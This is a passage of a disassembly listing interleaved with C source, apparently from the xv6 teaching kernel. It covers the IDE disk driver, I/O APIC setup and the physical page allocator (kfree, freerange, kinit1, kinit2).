801021f1: 31 d2 xor %edx,%edx
{
801021f3: 89 e5 mov %esp,%ebp
801021f5: 83 ec 18 sub $0x18,%esp
return namex(path, 0, name);
801021f8: 8b 45 08 mov 0x8(%ebp),%eax
801021fb: 8d 4d ea lea -0x16(%ebp),%ecx
801021fe: e8 6d fd ff ff call 80101f70 <namex>
}
80102203: c9 leave
80102204: c3 ret
80102205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102210 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80102210: 55 push %ebp
return namex(path, 1, name);
80102211: ba 01 00 00 00 mov $0x1,%edx
{
80102216: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80102218: 8b 4d 0c mov 0xc(%ebp),%ecx
8010221b: 8b 45 08 mov 0x8(%ebp),%eax
}
8010221e: 5d pop %ebp
return namex(path, 1, name);
8010221f: e9 4c fd ff ff jmp 80101f70 <namex>
80102224: 66 90 xchg %ax,%ax
80102226: 66 90 xchg %ax,%ax
80102228: 66 90 xchg %ax,%ax
8010222a: 66 90 xchg %ax,%ax
8010222c: 66 90 xchg %ax,%ax
8010222e: 66 90 xchg %ax,%ax
80102230 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80102230: 55 push %ebp
80102231: 89 e5 mov %esp,%ebp
80102233: 57 push %edi
80102234: 56 push %esi
80102235: 53 push %ebx
80102236: 83 ec 0c sub $0xc,%esp
if(b == 0)
80102239: 85 c0 test %eax,%eax
8010223b: 0f 84 b4 00 00 00 je 801022f5 <idestart+0xc5>
panic("idestart");
if(b->blockno >= FSSIZE)
80102241: 8b 58 08 mov 0x8(%eax),%ebx
80102244: 89 c6 mov %eax,%esi
80102246: 81 fb e7 03 00 00 cmp $0x3e7,%ebx
8010224c: 0f 87 96 00 00 00 ja 801022e8 <idestart+0xb8>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102252: b9 f7 01 00 00 mov $0x1f7,%ecx
80102257: 89 f6 mov %esi,%esi
80102259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102260: 89 ca mov %ecx,%edx
80102262: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102263: 83 e0 c0 and $0xffffffc0,%eax
80102266: 3c 40 cmp $0x40,%al
80102268: 75 f6 jne 80102260 <idestart+0x30>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010226a: 31 ff xor %edi,%edi
8010226c: ba f6 03 00 00 mov $0x3f6,%edx
80102271: 89 f8 mov %edi,%eax
80102273: ee out %al,(%dx)
80102274: b8 01 00 00 00 mov $0x1,%eax
80102279: ba f2 01 00 00 mov $0x1f2,%edx
8010227e: ee out %al,(%dx)
8010227f: ba f3 01 00 00 mov $0x1f3,%edx
80102284: 89 d8 mov %ebx,%eax
80102286: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80102287: 89 d8 mov %ebx,%eax
80102289: ba f4 01 00 00 mov $0x1f4,%edx
8010228e: c1 f8 08 sar $0x8,%eax
80102291: ee out %al,(%dx)
80102292: ba f5 01 00 00 mov $0x1f5,%edx
80102297: 89 f8 mov %edi,%eax
80102299: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
8010229a: 0f b6 46 04 movzbl 0x4(%esi),%eax
8010229e: ba f6 01 00 00 mov $0x1f6,%edx
801022a3: c1 e0 04 shl $0x4,%eax
801022a6: 83 e0 10 and $0x10,%eax
801022a9: 83 c8 e0 or $0xffffffe0,%eax
801022ac: ee out %al,(%dx)
if(b->flags & B_DIRTY){
801022ad: f6 06 04 testb $0x4,(%esi)
801022b0: 75 16 jne 801022c8 <idestart+0x98>
801022b2: b8 20 00 00 00 mov $0x20,%eax
801022b7: 89 ca mov %ecx,%edx
801022b9: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
801022ba: 8d 65 f4 lea -0xc(%ebp),%esp
801022bd: 5b pop %ebx
801022be: 5e pop %esi
801022bf: 5f pop %edi
801022c0: 5d pop %ebp
801022c1: c3 ret
801022c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801022c8: b8 30 00 00 00 mov $0x30,%eax
801022cd: 89 ca mov %ecx,%edx
801022cf: ee out %al,(%dx)
asm volatile("cld; rep outsl" :
801022d0: b9 80 00 00 00 mov $0x80,%ecx
outsl(0x1f0, b->data, BSIZE/4);
801022d5: 83 c6 5c add $0x5c,%esi
801022d8: ba f0 01 00 00 mov $0x1f0,%edx
801022dd: fc cld
801022de: f3 6f rep outsl %ds:(%esi),(%dx)
}
801022e0: 8d 65 f4 lea -0xc(%ebp),%esp
801022e3: 5b pop %ebx
801022e4: 5e pop %esi
801022e5: 5f pop %edi
801022e6: 5d pop %ebp
801022e7: c3 ret
panic("incorrect blockno");
801022e8: 83 ec 0c sub $0xc,%esp
801022eb: 68 94 73 10 80 push $0x80107394
801022f0: e8 9b e0 ff ff call 80100390 <panic>
panic("idestart");
801022f5: 83 ec 0c sub $0xc,%esp
801022f8: 68 8b 73 10 80 push $0x8010738b
801022fd: e8 8e e0 ff ff call 80100390 <panic>
80102302: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102310 <ideinit>:
{
80102310: 55 push %ebp
80102311: 89 e5 mov %esp,%ebp
80102313: 83 ec 10 sub $0x10,%esp
initlock(&idelock, "ide");
80102316: 68 a6 73 10 80 push $0x801073a6
8010231b: 68 c0 a5 10 80 push $0x8010a5c0
80102320: e8 eb 21 00 00 call 80104510 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
80102325: 58 pop %eax
80102326: a1 c0 2f 11 80 mov 0x80112fc0,%eax
8010232b: 5a pop %edx
8010232c: 83 e8 01 sub $0x1,%eax
8010232f: 50 push %eax
80102330: 6a 0e push $0xe
80102332: e8 a9 02 00 00 call 801025e0 <ioapicenable>
80102337: 83 c4 10 add $0x10,%esp
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010233a: ba f7 01 00 00 mov $0x1f7,%edx
8010233f: 90 nop
80102340: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102341: 83 e0 c0 and $0xffffffc0,%eax
80102344: 3c 40 cmp $0x40,%al
80102346: 75 f8 jne 80102340 <ideinit+0x30>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102348: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010234d: ba f6 01 00 00 mov $0x1f6,%edx
80102352: ee out %al,(%dx)
80102353: b9 e8 03 00 00 mov $0x3e8,%ecx
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102358: ba f7 01 00 00 mov $0x1f7,%edx
8010235d: eb 06 jmp 80102365 <ideinit+0x55>
8010235f: 90 nop
for(i=0; i<1000; i++){
80102360: 83 e9 01 sub $0x1,%ecx
80102363: 74 0f je 80102374 <ideinit+0x64>
80102365: ec in (%dx),%al
if(inb(0x1f7) != 0){
80102366: 84 c0 test %al,%al
80102368: 74 f6 je 80102360 <ideinit+0x50>
havedisk1 = 1;
8010236a: c7 05 a0 a5 10 80 01 movl $0x1,0x8010a5a0
80102371: 00 00 00
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102374: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102379: ba f6 01 00 00 mov $0x1f6,%edx
8010237e: ee out %al,(%dx)
}
8010237f: c9 leave
80102380: c3 ret
80102381: eb 0d jmp 80102390 <ideintr>
80102383: 90 nop
80102384: 90 nop
80102385: 90 nop
80102386: 90 nop
80102387: 90 nop
80102388: 90 nop
80102389: 90 nop
8010238a: 90 nop
8010238b: 90 nop
8010238c: 90 nop
8010238d: 90 nop
8010238e: 90 nop
8010238f: 90 nop
80102390 <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
80102390: 55 push %ebp
80102391: 89 e5 mov %esp,%ebp
80102393: 57 push %edi
80102394: 56 push %esi
80102395: 53 push %ebx
80102396: 83 ec 18 sub $0x18,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102399: 68 c0 a5 10 80 push $0x8010a5c0
8010239e: e8 ad 22 00 00 call 80104650 <acquire>
if((b = idequeue) == 0){
801023a3: 8b 1d a4 a5 10 80 mov 0x8010a5a4,%ebx
801023a9: 83 c4 10 add $0x10,%esp
801023ac: 85 db test %ebx,%ebx
801023ae: 74 67 je 80102417 <ideintr+0x87>
release(&idelock);
return;
}
idequeue = b->qnext;
801023b0: 8b 43 58 mov 0x58(%ebx),%eax
801023b3: a3 a4 a5 10 80 mov %eax,0x8010a5a4
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
801023b8: 8b 3b mov (%ebx),%edi
801023ba: f7 c7 04 00 00 00 test $0x4,%edi
801023c0: 75 31 jne 801023f3 <ideintr+0x63>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801023c2: ba f7 01 00 00 mov $0x1f7,%edx
801023c7: 89 f6 mov %esi,%esi
801023c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023d0: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801023d1: 89 c6 mov %eax,%esi
801023d3: 83 e6 c0 and $0xffffffc0,%esi
801023d6: 89 f1 mov %esi,%ecx
801023d8: 80 f9 40 cmp $0x40,%cl
801023db: 75 f3 jne 801023d0 <ideintr+0x40>
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801023dd: a8 21 test $0x21,%al
801023df: 75 12 jne 801023f3 <ideintr+0x63>
insl(0x1f0, b->data, BSIZE/4);
801023e1: 8d 7b 5c lea 0x5c(%ebx),%edi
asm volatile("cld; rep insl" :
801023e4: b9 80 00 00 00 mov $0x80,%ecx
801023e9: ba f0 01 00 00 mov $0x1f0,%edx
801023ee: fc cld
801023ef: f3 6d rep insl (%dx),%es:(%edi)
801023f1: 8b 3b mov (%ebx),%edi
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
801023f3: 83 e7 fb and $0xfffffffb,%edi
wakeup(b);
801023f6: 83 ec 0c sub $0xc,%esp
b->flags &= ~B_DIRTY;
801023f9: 89 f9 mov %edi,%ecx
801023fb: 83 c9 02 or $0x2,%ecx
801023fe: 89 0b mov %ecx,(%ebx)
wakeup(b);
80102400: 53 push %ebx
80102401: e8 3a 1e 00 00 call 80104240 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
80102406: a1 a4 a5 10 80 mov 0x8010a5a4,%eax
8010240b: 83 c4 10 add $0x10,%esp
8010240e: 85 c0 test %eax,%eax
80102410: 74 05 je 80102417 <ideintr+0x87>
idestart(idequeue);
80102412: e8 19 fe ff ff call 80102230 <idestart>
release(&idelock);
80102417: 83 ec 0c sub $0xc,%esp
8010241a: 68 c0 a5 10 80 push $0x8010a5c0
8010241f: e8 ec 22 00 00 call 80104710 <release>
release(&idelock);
}
80102424: 8d 65 f4 lea -0xc(%ebp),%esp
80102427: 5b pop %ebx
80102428: 5e pop %esi
80102429: 5f pop %edi
8010242a: 5d pop %ebp
8010242b: c3 ret
8010242c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102430 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102430: 55 push %ebp
80102431: 89 e5 mov %esp,%ebp
80102433: 53 push %ebx
80102434: 83 ec 10 sub $0x10,%esp
80102437: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010243a: 8d 43 0c lea 0xc(%ebx),%eax
8010243d: 50 push %eax
8010243e: e8 7d 20 00 00 call 801044c0 <holdingsleep>
80102443: 83 c4 10 add $0x10,%esp
80102446: 85 c0 test %eax,%eax
80102448: 0f 84 c6 00 00 00 je 80102514 <iderw+0xe4>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010244e: 8b 03 mov (%ebx),%eax
80102450: 83 e0 06 and $0x6,%eax
80102453: 83 f8 02 cmp $0x2,%eax
80102456: 0f 84 ab 00 00 00 je 80102507 <iderw+0xd7>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010245c: 8b 53 04 mov 0x4(%ebx),%edx
8010245f: 85 d2 test %edx,%edx
80102461: 74 0d je 80102470 <iderw+0x40>
80102463: a1 a0 a5 10 80 mov 0x8010a5a0,%eax
80102468: 85 c0 test %eax,%eax
8010246a: 0f 84 b1 00 00 00 je 80102521 <iderw+0xf1>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
80102470: 83 ec 0c sub $0xc,%esp
80102473: 68 c0 a5 10 80 push $0x8010a5c0
80102478: e8 d3 21 00 00 call 80104650 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010247d: 8b 15 a4 a5 10 80 mov 0x8010a5a4,%edx
80102483: 83 c4 10 add $0x10,%esp
b->qnext = 0;
80102486: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010248d: 85 d2 test %edx,%edx
8010248f: 75 09 jne 8010249a <iderw+0x6a>
80102491: eb 6d jmp 80102500 <iderw+0xd0>
80102493: 90 nop
80102494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102498: 89 c2 mov %eax,%edx
8010249a: 8b 42 58 mov 0x58(%edx),%eax
8010249d: 85 c0 test %eax,%eax
8010249f: 75 f7 jne 80102498 <iderw+0x68>
801024a1: 83 c2 58 add $0x58,%edx
;
*pp = b;
801024a4: 89 1a mov %ebx,(%edx)
// Start disk if necessary.
if(idequeue == b)
801024a6: 39 1d a4 a5 10 80 cmp %ebx,0x8010a5a4
801024ac: 74 42 je 801024f0 <iderw+0xc0>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801024ae: 8b 03 mov (%ebx),%eax
801024b0: 83 e0 06 and $0x6,%eax
801024b3: 83 f8 02 cmp $0x2,%eax
801024b6: 74 23 je 801024db <iderw+0xab>
801024b8: 90 nop
801024b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sleep(b, &idelock);
801024c0: 83 ec 08 sub $0x8,%esp
801024c3: 68 c0 a5 10 80 push $0x8010a5c0
801024c8: 53 push %ebx
801024c9: e8 c2 1b 00 00 call 80104090 <sleep>
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801024ce: 8b 03 mov (%ebx),%eax
801024d0: 83 c4 10 add $0x10,%esp
801024d3: 83 e0 06 and $0x6,%eax
801024d6: 83 f8 02 cmp $0x2,%eax
801024d9: 75 e5 jne 801024c0 <iderw+0x90>
}
release(&idelock);
801024db: c7 45 08 c0 a5 10 80 movl $0x8010a5c0,0x8(%ebp)
}
801024e2: 8b 5d fc mov -0x4(%ebp),%ebx
801024e5: c9 leave
release(&idelock);
801024e6: e9 25 22 00 00 jmp 80104710 <release>
801024eb: 90 nop
801024ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
idestart(b);
801024f0: 89 d8 mov %ebx,%eax
801024f2: e8 39 fd ff ff call 80102230 <idestart>
801024f7: eb b5 jmp 801024ae <iderw+0x7e>
801024f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102500: ba a4 a5 10 80 mov $0x8010a5a4,%edx
80102505: eb 9d jmp 801024a4 <iderw+0x74>
panic("iderw: nothing to do");
80102507: 83 ec 0c sub $0xc,%esp
8010250a: 68 c0 73 10 80 push $0x801073c0
8010250f: e8 7c de ff ff call 80100390 <panic>
panic("iderw: buf not locked");
80102514: 83 ec 0c sub $0xc,%esp
80102517: 68 aa 73 10 80 push $0x801073aa
8010251c: e8 6f de ff ff call 80100390 <panic>
panic("iderw: ide disk 1 not present");
80102521: 83 ec 0c sub $0xc,%esp
80102524: 68 d5 73 10 80 push $0x801073d5
80102529: e8 62 de ff ff call 80100390 <panic>
8010252e: 66 90 xchg %ax,%ax
80102530 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
80102530: 55 push %ebp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
80102531: c7 05 f4 28 11 80 00 movl $0xfec00000,0x801128f4
80102538: 00 c0 fe
{
8010253b: 89 e5 mov %esp,%ebp
8010253d: 56 push %esi
8010253e: 53 push %ebx
ioapic->reg = reg;
8010253f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
80102546: 00 00 00
return ioapic->data;
80102549: a1 f4 28 11 80 mov 0x801128f4,%eax
8010254e: 8b 58 10 mov 0x10(%eax),%ebx
ioapic->reg = reg;
80102551: c7 00 00 00 00 00 movl $0x0,(%eax)
return ioapic->data;
80102557: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010255d: 0f b6 15 20 2a 11 80 movzbl 0x80112a20,%edx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102564: c1 eb 10 shr $0x10,%ebx
return ioapic->data;
80102567: 8b 41 10 mov 0x10(%ecx),%eax
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
8010256a: 0f b6 db movzbl %bl,%ebx
id = ioapicread(REG_ID) >> 24;
8010256d: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102570: 39 c2 cmp %eax,%edx
80102572: 74 16 je 8010258a <ioapicinit+0x5a>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102574: 83 ec 0c sub $0xc,%esp
80102577: 68 f4 73 10 80 push $0x801073f4
8010257c: e8 df e0 ff ff call 80100660 <cprintf>
80102581: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
80102587: 83 c4 10 add $0x10,%esp
8010258a: 83 c3 21 add $0x21,%ebx
{
8010258d: ba 10 00 00 00 mov $0x10,%edx
80102592: b8 20 00 00 00 mov $0x20,%eax
80102597: 89 f6 mov %esi,%esi
80102599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ioapic->reg = reg;
801025a0: 89 11 mov %edx,(%ecx)
ioapic->data = data;
801025a2: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
801025a8: 89 c6 mov %eax,%esi
801025aa: 81 ce 00 00 01 00 or $0x10000,%esi
801025b0: 83 c0 01 add $0x1,%eax
ioapic->data = data;
801025b3: 89 71 10 mov %esi,0x10(%ecx)
801025b6: 8d 72 01 lea 0x1(%edx),%esi
801025b9: 83 c2 02 add $0x2,%edx
for(i = 0; i <= maxintr; i++){
801025bc: 39 d8 cmp %ebx,%eax
ioapic->reg = reg;
801025be: 89 31 mov %esi,(%ecx)
ioapic->data = data;
801025c0: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
801025c6: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
for(i = 0; i <= maxintr; i++){
801025cd: 75 d1 jne 801025a0 <ioapicinit+0x70>
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
801025cf: 8d 65 f8 lea -0x8(%ebp),%esp
801025d2: 5b pop %ebx
801025d3: 5e pop %esi
801025d4: 5d pop %ebp
801025d5: c3 ret
801025d6: 8d 76 00 lea 0x0(%esi),%esi
801025d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801025e0 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
801025e0: 55 push %ebp
ioapic->reg = reg;
801025e1: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
{
801025e7: 89 e5 mov %esp,%ebp
801025e9: 8b 45 08 mov 0x8(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801025ec: 8d 50 20 lea 0x20(%eax),%edx
801025ef: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax
ioapic->reg = reg;
801025f3: 89 01 mov %eax,(%ecx)
ioapic->data = data;
801025f5: 8b 0d f4 28 11 80 mov 0x801128f4,%ecx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801025fb: 83 c0 01 add $0x1,%eax
ioapic->data = data;
801025fe: 89 51 10 mov %edx,0x10(%ecx)
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102601: 8b 55 0c mov 0xc(%ebp),%edx
ioapic->reg = reg;
80102604: 89 01 mov %eax,(%ecx)
ioapic->data = data;
80102606: a1 f4 28 11 80 mov 0x801128f4,%eax
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
8010260b: c1 e2 18 shl $0x18,%edx
ioapic->data = data;
8010260e: 89 50 10 mov %edx,0x10(%eax)
}
80102611: 5d pop %ebp
80102612: c3 ret
80102613: 66 90 xchg %ax,%ax
80102615: 66 90 xchg %ax,%ax
80102617: 66 90 xchg %ax,%ax
80102619: 66 90 xchg %ax,%ax
8010261b: 66 90 xchg %ax,%ax
8010261d: 66 90 xchg %ax,%ax
8010261f: 90 nop
80102620 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102620: 55 push %ebp
80102621: 89 e5 mov %esp,%ebp
80102623: 53 push %ebx
80102624: 83 ec 04 sub $0x4,%esp
80102627: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
8010262a: f7 c3 ff 0f 00 00 test $0xfff,%ebx
80102630: 75 70 jne 801026a2 <kfree+0x82>
80102632: 81 fb 68 57 11 80 cmp $0x80115768,%ebx
80102638: 72 68 jb 801026a2 <kfree+0x82>
8010263a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102640: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102645: 77 5b ja 801026a2 <kfree+0x82>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102647: 83 ec 04 sub $0x4,%esp
8010264a: 68 00 10 00 00 push $0x1000
8010264f: 6a 01 push $0x1
80102651: 53 push %ebx
80102652: e8 09 21 00 00 call 80104760 <memset>
if(kmem.use_lock)
80102657: 8b 15 34 29 11 80 mov 0x80112934,%edx
8010265d: 83 c4 10 add $0x10,%esp
80102660: 85 d2 test %edx,%edx
80102662: 75 2c jne 80102690 <kfree+0x70>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102664: a1 38 29 11 80 mov 0x80112938,%eax
80102669: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
8010266b: a1 34 29 11 80 mov 0x80112934,%eax
kmem.freelist = r;
80102670: 89 1d 38 29 11 80 mov %ebx,0x80112938
if(kmem.use_lock)
80102676: 85 c0 test %eax,%eax
80102678: 75 06 jne 80102680 <kfree+0x60>
release(&kmem.lock);
}
8010267a: 8b 5d fc mov -0x4(%ebp),%ebx
8010267d: c9 leave
8010267e: c3 ret
8010267f: 90 nop
release(&kmem.lock);
80102680: c7 45 08 00 29 11 80 movl $0x80112900,0x8(%ebp)
}
80102687: 8b 5d fc mov -0x4(%ebp),%ebx
8010268a: c9 leave
release(&kmem.lock);
8010268b: e9 80 20 00 00 jmp 80104710 <release>
acquire(&kmem.lock);
80102690: 83 ec 0c sub $0xc,%esp
80102693: 68 00 29 11 80 push $0x80112900
80102698: e8 b3 1f 00 00 call 80104650 <acquire>
8010269d: 83 c4 10 add $0x10,%esp
801026a0: eb c2 jmp 80102664 <kfree+0x44>
panic("kfree");
801026a2: 83 ec 0c sub $0xc,%esp
801026a5: 68 26 74 10 80 push $0x80107426
801026aa: e8 e1 dc ff ff call 80100390 <panic>
801026af: 90 nop
801026b0 <freerange>:
{
801026b0: 55 push %ebp
801026b1: 89 e5 mov %esp,%ebp
801026b3: 56 push %esi
801026b4: 53 push %ebx
p = (char*)PGROUNDUP((uint)vstart);
801026b5: 8b 45 08 mov 0x8(%ebp),%eax
{
801026b8: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
801026bb: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
801026c1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801026c7: 81 c3 00 10 00 00 add $0x1000,%ebx
801026cd: 39 de cmp %ebx,%esi
801026cf: 72 23 jb 801026f4 <freerange+0x44>
801026d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
801026d8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
801026de: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801026e1: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
801026e7: 50 push %eax
801026e8: e8 33 ff ff ff call 80102620 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801026ed: 83 c4 10 add $0x10,%esp
801026f0: 39 f3 cmp %esi,%ebx
801026f2: 76 e4 jbe 801026d8 <freerange+0x28>
}
801026f4: 8d 65 f8 lea -0x8(%ebp),%esp
801026f7: 5b pop %ebx
801026f8: 5e pop %esi
801026f9: 5d pop %ebp
801026fa: c3 ret
801026fb: 90 nop
801026fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102700 <kinit1>:
{
80102700: 55 push %ebp
80102701: 89 e5 mov %esp,%ebp
80102703: 56 push %esi
80102704: 53 push %ebx
80102705: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
80102708: 83 ec 08 sub $0x8,%esp
8010270b: 68 2c 74 10 80 push $0x8010742c
80102710: 68 00 29 11 80 push $0x80112900
80102715: e8 f6 1d 00 00 call 80104510 <initlock>
p = (char*)PGROUNDUP((uint)vstart);
8010271a: 8b 45 08 mov 0x8(%ebp),%eax
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010271d: 83 c4 10 add $0x10,%esp
kmem.use_lock = 0;
80102720: c7 05 34 29 11 80 00 movl $0x0,0x80112934
80102727: 00 00 00
p = (char*)PGROUNDUP((uint)vstart);
8010272a: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80102730: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102736: 81 c3 00 10 00 00 add $0x1000,%ebx
8010273c: 39 de cmp %ebx,%esi
8010273e: 72 1c jb 8010275c <kinit1+0x5c>
kfree(p);
80102740: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
80102746: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102749: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
8010274f: 50 push %eax
80102750: e8 cb fe ff ff call 80102620 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102755: 83 c4 10 add $0x10,%esp
80102758: 39 de cmp %ebx,%esi
8010275a: 73 e4 jae 80102740 <kinit1+0x40>
}
8010275c: 8d 65 f8 lea -0x8(%ebp),%esp
8010275f: 5b pop %ebx
80102760: 5e pop %esi
80102761: 5d pop %ebp
80102762: c3 ret
80102763: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102770 <kinit2>:
{
80102770: 55 push %ebp
80102771: 89 e5 mov %esp,%ebp
80102773: 56 push %esi
80102774: 53 push %ebx
p = (char*)PGROUNDUP((uint)vstart);
80102775: 8b 45 08 mov 0x8(%ebp),%eax
{
80102778: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
8010277b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80102781: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102787: 81 c3 00 10 00 00 add $0x1000,%ebx
8010278d: 39 de cmp %ebx,%esi
8010278f: 72 23 jb 801027b4 <kinit2+0x44>
80102791: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
80102798: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
8010279e: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801027a1: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
801027a7: 50 push %eax
801027a8: e8 73 fe ff ff call 80102620 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801027ad: 83 c4 10 add $0x10,%esp
